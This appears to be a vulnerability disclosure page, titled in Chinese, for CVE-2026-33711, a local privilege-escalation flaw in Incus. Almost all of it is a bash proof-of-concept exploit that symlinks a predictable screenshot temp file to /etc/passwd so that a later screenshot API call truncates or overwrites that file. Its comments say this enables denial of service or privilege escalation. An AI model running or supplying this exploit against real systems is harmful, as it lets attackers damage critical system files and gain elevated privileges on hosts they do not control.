CVE-2026-33711 Incus本地权限提升漏洞

#!/bin/bash # PoC for CVE-2026-33711: Incus Screenshot Symlink Attack # Prerequisites: Local access, fs.protected_symlinks disabled in kernel TARGET_FILE="/etc/passwd" # High privilege target file PREDICTABLE_TMP="/tmp/incus_screenshot_vm_1.tmp" # Predictable path used by Incus echo "[+] Creating symlink from $PREDICTABLE_TMP to $TARGET_FILE" ln -sf $TARGET_FILE $PREDICTABLE_TMP echo "[+] Waiting for admin/user to trigger screenshot API..." # In a real scenario, the attacker would loop or monitor to recreate the link if it fails # or trigger the API themselves if they have the permission. # When the Incus screenshot API is called: # Incus/QEMU writes to /tmp/incus_screenshot_vm_1.tmp # Due to symlink, data is written to /etc/passwd, truncating it. echo "[+] If successful, $TARGET_FILE has been truncated or modified." echo "[+] This can lead to DoS or Privilege Escalation."